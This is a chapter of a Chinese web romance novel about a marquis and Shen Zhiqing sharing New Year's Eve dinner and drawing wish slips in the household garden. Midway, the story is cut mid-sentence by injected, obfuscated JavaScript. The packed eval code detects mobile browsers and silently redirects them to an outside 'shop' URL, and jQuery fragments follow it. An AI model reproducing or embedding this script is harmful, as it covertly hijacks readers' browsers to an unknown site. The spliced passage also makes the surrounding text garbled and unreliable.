39. 第 39 章
作品:《折卿:侯爷每天都在吃醋》 不等傅执年反应,沈芷卿已拽着他往寝屋去,她连拉带扯,力道虽然不大,手却拉得很紧。
一进了屋,傅执年便看见桌案上摆着一件叠得整整齐齐的锦袍,正红色,料子上绣着暗纹云鹤,针脚虽不算顶尖,却也齐整。
傅执年微微一怔,他素来偏爱素色衣袍,平时多穿玄色外衣,极少穿这般鲜艳的颜色。
“过年就得穿得喜庆些,图个岁岁安和。”沈芷卿笑着上前,指尖轻巧地替他解开玄色大氅的系带,“来,试试合不合身。”
她踮起脚尖,轻柔的手指绕过傅执年的脖子系玉带,她鬓边的珠花随着动作轻轻晃动,一股兰香传来,傅执年呼吸慢了半拍,目光落在正在仔细系带的沈芷卿脸上。
锦袍上身,肩线合身,腰腹收得妥帖,长度恰到脚踝处,正红色衬得傅执年肤色愈发冷白,但也柔和了他眉眼中惯有的冷硬凌厉,添了几分温润,却又不失他骨子里的矜贵气度。
沈芷卿眉眼弯弯,不禁赞叹道:“真好看,侯爷就该多穿些亮色。”她说着,顺便伸手帮他理了理领口的盘扣。
傅执年的喉结轻轻滚动了一下,目光下垂低声道:“谢谢。”
沈芷卿闻言抬眸看他,眼底是细碎的笑意,“送侯爷的新年礼物。”
傅执年低笑一声,“倒是我疏忽了,忘了给你备礼物,倒显得我无情无义了。”
“不是特意买的。”沈芷卿摇摇头解释道:“先前侯爷送我的十八件新衣里,有件红锦袍料子上乘,我便照着侯爷的身量,试着改了改。”
“你自己改的?”傅执年眸光一闪,更是惊喜。
“我不擅女红,针脚粗陋,侯爷别嫌弃才好。”沈芷卿喏喏道。
傅执年伸手拉过沈芷卿的左手,果然见她食指上有几颗细小的红点,分明是做针线时被针扎的。
他握住她纤细的指尖,指腹轻轻摩挲着那处红点,语气里是前所未有的温柔,“不嫌弃,一点都不嫌弃。”
怎么会嫌弃呢?
自从母亲葬身火海以后,傅执年一直都是孤身一人,从未有人费心为他做过衣裳。
他一时有些感动,忍不住握紧了沈芷卿的手,温声道:“走,用膳。”
二人刚跨出房门,便撞见端着清水盆在廊间忙碌的雀枝。
雀枝抬眼撞见傅执年一身大红锦袍,平日里的冰山冷脸配上这喜庆的颜色,竟俊美得让人移不开眼。
她惊得脚下一绊,连忙稳住身形,清水盆抱得更紧,脸颊涨得通红,“侯......侯爷......穿红色真俊。”
傅执年素来冷淡寡言,听了这话,嘴角却不受控制地微勾起,牵着沈芷卿径直朝着水榭走去。
镇国侯府下人不少,膳厅容不下,每年年夜饭便设在花园的水榭中。旁侧老梅枝桠间,挂满了众人提前写好的许愿笺,晚膳后傅执年会抽三封,实现大家的愿望。
二人走到膳桌前时,年夜饭已摆得满满当当,比往日丰盛数倍。傅执年目光一扫,桌上不仅有他偏爱的乳酿鱼,白肉胡饼,还有荷月酥,浮元子,一看便是沈芷卿吩咐过小厨房。
他牵着沈芷卿落座,飞云和追风,桑甜和雀枝分坐两侧,李嬷嬷与王管家坐在对面,其余下人分坐另外四桌,连梅苑值守的人都赶了回来,满满当当的坐了四桌人。
傅执年夹了块荷月酥入口,甜香恰到好处,比往年味道好上许多,便顺手给沈芷卿也夹了一块,“尝尝。”
沈芷卿咬下一口,眼眶忽然就红了。
傅执年瞧着她泛红的眼眶,便知她是想起了故去的母亲。他嘴笨,不会说什么安慰的话,只沉声道:“多吃些,瞧你瘦的。”
从沈家落难开始,沈芷卿就心绪不宁,身形清减了许多,旁人或许看不太出,可傅执年一揽腰肢便知。
沈芷卿压下心头酸涩,强打起精神,给傅执年盛了碗浮元子:“我不便出府,便照着秦大娘的法子学着做了些,侯爷尝尝。”
傅执年接过瓷碗,舀了一颗入口,软糯滑腻在唇舌间漫开,他眉峰微蹙如实说道:“甜了些。”
沈芷卿本就是头一回做,闻言顿时涨红了脸,手足无措地起身:“许是糖放多了,我去加点水......”
“无妨。”傅执年伸手拉住她的手腕,眼底漾着笑,“我喜欢。”
沈芷卿身子一顿,又坐了回去,脸颊泛红。
二人这般亲昵的氛围,倒是让追风看愣了,忙转头去瞧桑甜。
桑甜心领神会,凑到追风耳边小声嘀咕:“你说,是浮元子甜,还是咱们小姐甜?”
这话虽轻,却还是被座位旁的沈芷卿听了去。
她舀了一碗浮元子推给桑甜,眼尾冷冷扫过去,嗔怪道:“桑甜,你自己尝便知道了。”
桑甜接过碗,咬了一颗便夸张地喊:“甜死了!比蜜还甜!”
“少打趣我。”沈芷卿瞪她一眼,耳根却更红了。
傅执年瞧着二人拌嘴,轻笑出声,看向沈芷卿柔声道:“你做的,我都喜欢。”
追风惊得眼睛瞪圆:“侯爷,你们俩......”
飞云夹了一大块白肉胡饼塞进他嘴里,打断道:“你不是吵着要吃胡饼?堵上你的嘴。”
追风嚼着胡饼,含糊道:“还是飞云你好......”话落便接收到飞云一个白眼,悻悻地闭了嘴。
空气中氤氲着浮元子的甜香,席间碗筷相撞,笑声交织,这顿饭吃得暖意融融,连傅执年都多添了半碗饭。
饭毕,追风率先起哄,拉着傅执年去到老梅树前,“侯爷,快抽笺!我都好几年没中过了!”
傅执年被追风推着走到了梅树前,漫不经心地道:“怎的怪本侯?飞云前两年都抽中了。”
“他是运气好!”追风挠挠头,不服气地嘟囔,“不像我,一次都没中。”
“追风哥哥,今年说不定就中了。”桑甜笑着安慰。
“对了桑甜,你写了吗?”追风忽然想起这事。
“写了呀,下午雀枝姐姐带我们梅苑的人写的。”桑甜弯唇笑道。
雀枝拍了拍胸脯,“侯爷说了,侯府的每个人都有!”
傅执年目光扫过众人,最后落在沈芷卿身上,“你也写了?”
沈芷卿点点头,指尖悄悄攥紧了衣摆。
傅执年噙着笑意绕着老梅树走了一圈,取下最低处一张,展开一看,低笑出声:“追风。”
追风激动地蹦起来:“我中了?”
飞云斜睨他一眼,“追风,你许的什么?想升百户?”飞云前两年都许得升职,傅执年也都应了,所以飞云和追风虽然年岁相近,飞云已经做到了千户,追风还只是个总旗,不过傅执年早把俸禄差额补给了追风,两人关系倒是一如既往的好。
追风脸一红,挠了挠头,“之前在四福医馆,属下的老婆本都花光了,求侯爷赏点!”
“你又不急着讨亲,要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975048|189236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么老婆本?”傅执年低笑出声。
追风偷偷瞥了眼桑甜,脸更红了,结结巴巴道:“侯,侯爷,有备无患嘛!”
“医馆一事委屈你了。”傅执年敛了笑,沉声道,“赏五百两,往后你娶妻的聘礼,本侯也替你备下。”
下人们顿时哗然,纷纷惊叹。
“五百两?够我干十年了!”
“侯爷也太大方了!”
追风欢喜的抱拳行礼,“谢侯爷!”然后满面春风地坐回原位,还不忘偷偷看桑甜。
傅执年收回目光,继续绕着老梅树缓步走,目光忽然定格在一张沾了些许墨迹的红笺上,伸手将它取下。
展开许愿笺一看,傅执年眸底掠过一丝浅淡的失望,随即转向雀枝。
“雀枝。”
雀枝猛地抬头,竟激动地跳了起来,“我?侯爷,是奴婢我吗?”
傅执年微微颔首,将手中的许愿笺摊开,递到她面前。
“这个愿,你自己念。”
雀枝的脸瞬间涨得通红,看向席下的飞云。
傅执年鼓励道:“雀枝,钱财,官职都可以许,唯独此事,本侯许不了。”
雀枝深吸一口气,猛地抬眼看向飞云,声音清亮却带着一丝颤抖。
“飞云哥哥,我喜欢你!愿你岁岁年年,平安顺遂!”
这一声告白,掷地有声,飞云猛地坐直了身子,却对上了雀枝大胆明亮的眼睛。
“你......我.......”飞云红着脸,支支吾吾道:“谢谢。”
飞云素来沉稳,哪里见过姑娘告白的阵仗,只觉得浑身发烫,恨不得找个地缝钻进去。
雀枝却异常认真地望着他,“飞云哥哥,你不用回应我,我只是想告诉你我的心意,我怕......”
我怕......怕往后再没机会说了。
雀枝是镇国侯府的老人,自小在府中长大,年前便已及笄。
而飞云年轻有为,前途坦荡,日后或许还能娶一位官家小姐为妻,哪里还想得起她这个洗扫丫鬟?
飞云茫然地愣在原地,心中已经乱作一团。
一旁的傅执年收起手中的折扇,轻敲掌心,“雀枝,本侯倒觉得你这愿许得亏了。追风得了五百两,还有聘礼相赠,你却只求一个祝福?”
雀枝抬眸,眼底没有半分悔意,轻声道:“侯爷,千金易得,真心难求,奴婢只愿飞云哥哥平平安安。”
傅执年看着孤注一掷的雀枝,心头莫名微动。
“雀枝,你很勇敢。”傅执年缓缓开口,说不清是羡慕还是赞许。
雀枝红着脸屈膝行礼:“谢侯爷。”
傅执年收回目光,若有所思,千金易得,真心难求吗?
他抬眼看向枝桠间剩下的许愿笺,想起沈芷卿是头一回写,折法必定与旁人不同,便放慢了脚步,目光细细扫过每一张笺纸,看得极认真极慢,席间众人等得快心焦了,他才抬手取下了那挂在最高处的一张许愿笺。
沈芷卿的心猛地一缩,指尖不自觉掐进掌心,连呼吸都放轻了几分。
傅执年拆开红笺,眸光骤然一沉,沉默了片刻,方才席间的暖意被吹散,傅执年周身再次被往日的冷冽笼罩住。
追风等不及了,催促道:“侯爷,快念给我们听听呀!”
傅执年抬眸,冷眼扫过沈芷卿,语气冷淡。
“沈二姑娘,你的愿,本侯办不到。”

